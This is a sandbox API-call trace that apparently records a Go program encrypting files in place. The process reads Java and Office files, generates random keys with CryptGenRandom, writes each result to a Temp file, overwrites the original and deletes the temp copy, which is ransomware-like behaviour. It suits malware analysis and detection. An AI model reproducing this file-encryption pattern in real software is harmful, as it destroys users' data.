	[0245.375] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0) returned 0
	[0245.375] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0) returned 0
	[0245.375] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a8
	[0245.375] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc000213bf4 | out: lpMode=0xc000213bf4) returned 0
	[0245.375] GetFileType (hFile=0x1a8) returned 0x1
	[0245.376] GetFileType (hFile=0x1a8) returned 0x1
	[0245.376] GetFileInformationByHandle (in: hFile=0x1a8, lpFileInformation=0xc000213c44 | out: lpFileInformation=0xc000213c44) returned 1
	[0245.376] GetFileInformationByHandleEx (in: hFile=0x1a8, FileInformationClass=0x9, lpFileInformation=0xc000213c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000213c28) returned 1
	[0245.376] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0000d0000, nNumberOfBytesToRead=0x3dac, lpNumberOfBytesRead=0xc000213b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000d0000*, lpNumberOfBytesRead=0xc000213b04*=0x3bac, lpOverlapped=0x0) returned 1
	[0245.950] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0000d3bac, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000213b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000d3bac*, lpNumberOfBytesRead=0xc000213b04*=0x0, lpOverlapped=0x0) returned 1
	[0245.950] CloseHandle (hObject=0x1a8) returned 1
	[0245.950] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70709ffad8*=0x1a0, bWaitAll=0, dwMilliseconds=0x1) returned 0x0
	[0246.063] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff370, ulCount=0x10, ulNumEntriesRemoved=0x70709ff348, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff370, ulNumEntriesRemoved=0x70709ff348) returned 0
	[0246.064] SetEvent (hEvent=0x17c) returned 1
	[0246.064] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70709ffae8*=0x1a0, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0246.279] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0246.279] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e2e0 | out: pbBuffer=0xc00000e2e0) returned 1
	[0246.280] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c0a0 | out: pbBuffer=0xc00028c0a0) returned 1
	[0246.280] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082101 | out: pbBuffer=0xc000082101) returned 1
	[0246.280] SwitchToThread () returned 1
	[0246.323] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0246.389] VirtualAlloc (lpAddress=0xc000054000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000054000
	[0246.390] SwitchToThread () returned 1
	[0246.419] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0246.464] SetEvent (hEvent=0x188) returned 1
	[0246.464] SetEvent (hEvent=0x190) returned 1
	[0246.464] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0246.596] SetEvent (hEvent=0xe4) returned 1
	[0246.596] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7c1100fb8096a5083370125f32eac612" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7c1100fb8096a5083370125f32eac612"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0
	[0246.597] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000fbc04 | out: lpMode=0xc0000fbc04) returned 0
	[0246.597] GetFileType (hFile=0x1b0) returned 0x1
	[0246.597] WriteFile (in: hFile=0x1b0, lpBuffer=0xc000054000*, nNumberOfBytesToWrite=0x3cac, lpNumberOfBytesWritten=0xc0000fbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesWritten=0xc0000fbbec*=0x3cac, lpOverlapped=0x0) returned 1
	[0246.600] CloseHandle (hObject=0x1b0) returned 1
	[0246.603] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0
	[0246.605] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000fbd74 | out: lpMode=0xc0000fbd74) returned 0
	[0246.605] GetFileType (hFile=0x1b0) returned 0x1
	[0246.605] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7c1100fb8096a5083370125f32eac612" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7c1100fb8096a5083370125f32eac612"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0246.606] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0000fbd74 | out: lpMode=0xc0000fbd74) returned 0
	[0246.606] GetFileType (hFile=0x1b4) returned 0x1
	[0246.606] VirtualAlloc (lpAddress=0xc000106000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000106000
	[0246.607] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x3cac, lpOverlapped=0x0) returned 1
	[0246.608] WriteFile (in: hFile=0x1b0, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x3cac, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x3cac, lpOverlapped=0x0) returned 1
	[0246.610] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0246.610] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7c1100fb8096a5083370125f32eac612" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7c1100fb8096a5083370125f32eac612")) returned 0
	[0246.611] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7c1100fb8096a5083370125f32eac612" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7c1100fb8096a5083370125f32eac612")) returned 0
	[0246.611] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7c1100fb8096a5083370125f32eac612" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7c1100fb8096a5083370125f32eac612")) returned 0x20
	[0246.611] CloseHandle (hObject=0x1b4) returned 1
	[0246.611] CloseHandle (hObject=0x1b0) returned 1
	[0246.612] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7c1100fb8096a5083370125f32eac612" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7c1100fb8096a5083370125f32eac612")) returned 1
	[0246.615] WriteFile (in: hFile=0x0, lpBuffer=0xc00029c5a0, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0xc0000fbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000fbd94, lpOverlapped=0x0) returned 0
	[0246.615] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a000, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0xc0000fbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000fbd94, lpOverlapped=0x0) returned 0
	[0246.615] VirtualAlloc (lpAddress=0xc000038000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000038000
	[0246.616] VirtualAlloc (lpAddress=0xc00003e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003e000
	[0246.616] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0246.617] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000fbbf4 | out: lpMode=0xc0000fbbf4) returned 0
	[0246.617] GetFileType (hFile=0x1b0) returned 0x1
	[0246.617] GetFileType (hFile=0x1b0) returned 0x1
	[0246.617] GetFileInformationByHandle (in: hFile=0x1b0, lpFileInformation=0xc0000fbc44 | out: lpFileInformation=0xc0000fbc44) returned 1
	[0246.617] GetFileInformationByHandleEx (in: hFile=0x1b0, FileInformationClass=0x9, lpFileInformation=0xc0000fbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000fbc28) returned 1
	[0246.617] VirtualAlloc (lpAddress=0xc000426000, dwSize=0x3b0000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000426000
	[0247.133] SetEvent (hEvent=0xe4) returned 1
	[0247.133] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0247.142] SetEvent (hEvent=0xe4) returned 1
	[0247.142] SetEvent (hEvent=0xd4) returned 1
	[0247.142] SetEvent (hEvent=0x188) returned 1
	[0247.142] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0247.185] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0000c96b8 | out: lpFileInformation=0xc0000c96b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x205e)) returned 1
	[0247.186] WriteFile (in: hFile=0x0, lpBuffer=0xc000066000, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0) returned 0
	[0247.186] WriteFile (in: hFile=0x0, lpBuffer=0xc000066000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0) returned 0
	[0247.186] SwitchToThread () returned 1
	[0247.243] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0248.569] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0251.864] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0270.300] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0270.647] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0270.785] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0271.815] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0271.855] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0271.945] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0271.962] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0272.925] SetEvent (hEvent=0x190) returned 1
	[0272.925] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0) returned 0
	[0272.926] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0) returned 0
	[0272.926] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0272.926] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000bbbf4 | out: lpMode=0xc0000bbbf4) returned 0
	[0272.926] GetFileType (hFile=0x19c) returned 0x1
	[0272.926] GetFileType (hFile=0x19c) returned 0x1
	[0272.927] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0000bbc44 | out: lpFileInformation=0xc0000bbc44) returned 1
	[0272.927] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0000bbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bbc28) returned 1
	[0272.927] ReadFile (in: hFile=0x19c, lpBuffer=0xc000060000, nNumberOfBytesToRead=0xdd2, lpNumberOfBytesRead=0xc0000bbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000060000*, lpNumberOfBytesRead=0xc0000bbb04*=0xbd2, lpOverlapped=0x0) returned 1
	[0273.100] ReadFile (in: hFile=0x19c, lpBuffer=0xc000060bd2, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000bbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000060bd2*, lpNumberOfBytesRead=0xc0000bbb04*=0x0, lpOverlapped=0x0) returned 1
	[0273.100] CloseHandle (hObject=0x19c) returned 1
	[0273.100] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0280 | out: pbBuffer=0xc0000c0280) returned 1
	[0273.100] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c1e0 | out: pbBuffer=0xc00028c1e0) returned 1
	[0273.100] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8201 | out: pbBuffer=0xc0002a8201) returned 1
	[0273.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8be6b6218571020b4ad2c492226397d7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8be6b6218571020b4ad2c492226397d7"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0273.101] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000bbc04 | out: lpMode=0xc0000bbc04) returned 0
	[0273.101] GetFileType (hFile=0x19c) returned 0x1
	[0273.102] WriteFile (in: hFile=0x19c, lpBuffer=0xc000068000*, nNumberOfBytesToWrite=0xcd2, lpNumberOfBytesWritten=0xc0000bbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000068000*, lpNumberOfBytesWritten=0xc0000bbbec*=0xcd2, lpOverlapped=0x0) returned 1
	[0273.104] CloseHandle (hObject=0x19c) returned 1
	[0273.106] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0273.108] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000bbd74 | out: lpMode=0xc0000bbd74) returned 0
	[0273.108] GetFileType (hFile=0x19c) returned 0x1
	[0273.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8be6b6218571020b4ad2c492226397d7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8be6b6218571020b4ad2c492226397d7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0273.109] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bbd74 | out: lpMode=0xc0000bbd74) returned 0
	[0273.109] GetFileType (hFile=0x120) returned 0x1
	[0273.109] ReadFile (in: hFile=0x120, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000bbbd4*=0xcd2, lpOverlapped=0x0) returned 1
	[0273.109] WriteFile (in: hFile=0x19c, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0xcd2, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000bbb74*=0xcd2, lpOverlapped=0x0) returned 1
	[0273.111] ReadFile (in: hFile=0x120, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0273.111] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8be6b6218571020b4ad2c492226397d7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8be6b6218571020b4ad2c492226397d7")) returned 0
	[0273.111] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8be6b6218571020b4ad2c492226397d7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8be6b6218571020b4ad2c492226397d7")) returned 0
	[0273.111] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8be6b6218571020b4ad2c492226397d7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8be6b6218571020b4ad2c492226397d7")) returned 0x20
	[0273.111] CloseHandle (hObject=0x120) returned 1
	[0273.112] CloseHandle (hObject=0x19c) returned 1
	[0273.112] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\8be6b6218571020b4ad2c492226397d7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\8be6b6218571020b4ad2c492226397d7")) returned 1
	[0273.114] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0273.741] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0276.229] SetEvent (hEvent=0x190) returned 1
	[0276.229] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0276.811] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0277.047] SetEvent (hEvent=0xfc) returned 1
	[0277.047] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0277.088] SetEvent (hEvent=0xfc) returned 1
	[0277.088] SwitchToThread () returned 1
	[0277.123] SetEvent (hEvent=0x190) returned 1
	[0277.124] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0277.638] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0277.854] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0277.970] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0278.102] SetEvent (hEvent=0xd4) returned 1
	[0278.102] VirtualFree (lpAddress=0xc006f16000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0278.102] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0278.121] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0278.164] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0278.322] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0278.580] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0278.796] SetEvent (hEvent=0x17c) returned 1
	[0278.796] VirtualFree (lpAddress=0xc006f08000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0278.798] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0279.559] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0) returned 0
	[0279.559] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0) returned 0
	[0279.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0279.559] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e5bf4 | out: lpMode=0xc0001e5bf4) returned 0
	[0279.559] GetFileType (hFile=0x19c) returned 0x1
	[0279.559] GetFileType (hFile=0x19c) returned 0x1
	[0279.559] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0001e5c44 | out: lpFileInformation=0xc0001e5c44) returned 1
	[0279.560] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0001e5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e5c28) returned 1
	[0279.560] ReadFile (in: hFile=0x19c, lpBuffer=0xc000254000, nNumberOfBytesToRead=0x3073, lpNumberOfBytesRead=0xc0001e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000254000*, lpNumberOfBytesRead=0xc0001e5b04*=0x2e73, lpOverlapped=0x0) returned 1
	[0279.601] ReadFile (in: hFile=0x19c, lpBuffer=0xc000256e73, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000256e73*, lpNumberOfBytesRead=0xc0001e5b04*=0x0, lpOverlapped=0x0) returned 1
	[0279.601] CloseHandle (hObject=0x19c) returned 1
	[0279.601] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202400 | out: pbBuffer=0xc000202400) returned 1
	[0279.601] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021b020 | out: pbBuffer=0xc00021b020) returned 1
	[0279.601] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082601 | out: pbBuffer=0xc000082601) returned 1
	[0279.602] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4b518d98027df1e13f6eee754568a6da" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4b518d98027df1e13f6eee754568a6da"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0279.602] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e5c04 | out: lpMode=0xc0001e5c04) returned 0
	[0279.602] GetFileType (hFile=0x19c) returned 0x1
	[0279.602] WriteFile (in: hFile=0x19c, lpBuffer=0xc000068000*, nNumberOfBytesToWrite=0x2f73, lpNumberOfBytesWritten=0xc0001e5bec, lpOverlapped=0x0 | out: lpBuffer=0xc000068000*, lpNumberOfBytesWritten=0xc0001e5bec*=0x2f73, lpOverlapped=0x0) returned 1
	[0279.604] CloseHandle (hObject=0x19c) returned 1
	[0279.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0279.608] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0279.608] GetFileType (hFile=0x19c) returned 0x1
	[0279.609] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4b518d98027df1e13f6eee754568a6da" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4b518d98027df1e13f6eee754568a6da"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0279.609] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0279.609] GetFileType (hFile=0x1b4) returned 0x1
	[0279.609] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000272000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000272000*, lpNumberOfBytesRead=0xc0001e5bd4*=0x2f73, lpOverlapped=0x0) returned 1
	[0279.609] WriteFile (in: hFile=0x19c, lpBuffer=0xc000272000*, nNumberOfBytesToWrite=0x2f73, lpNumberOfBytesWritten=0xc0001e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc000272000*, lpNumberOfBytesWritten=0xc0001e5b74*=0x2f73, lpOverlapped=0x0) returned 1
	[0279.611] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000272000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000272000*, lpNumberOfBytesRead=0xc0001e5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0279.611] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4b518d98027df1e13f6eee754568a6da" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4b518d98027df1e13f6eee754568a6da")) returned 0
	[0279.612] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4b518d98027df1e13f6eee754568a6da" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4b518d98027df1e13f6eee754568a6da")) returned 0
	[0279.612] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4b518d98027df1e13f6eee754568a6da" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4b518d98027df1e13f6eee754568a6da")) returned 0x20
	[0279.612] CloseHandle (hObject=0x1b4) returned 1
	[0279.612] CloseHandle (hObject=0x19c) returned 1
	[0279.613] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4b518d98027df1e13f6eee754568a6da" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4b518d98027df1e13f6eee754568a6da")) returned 1
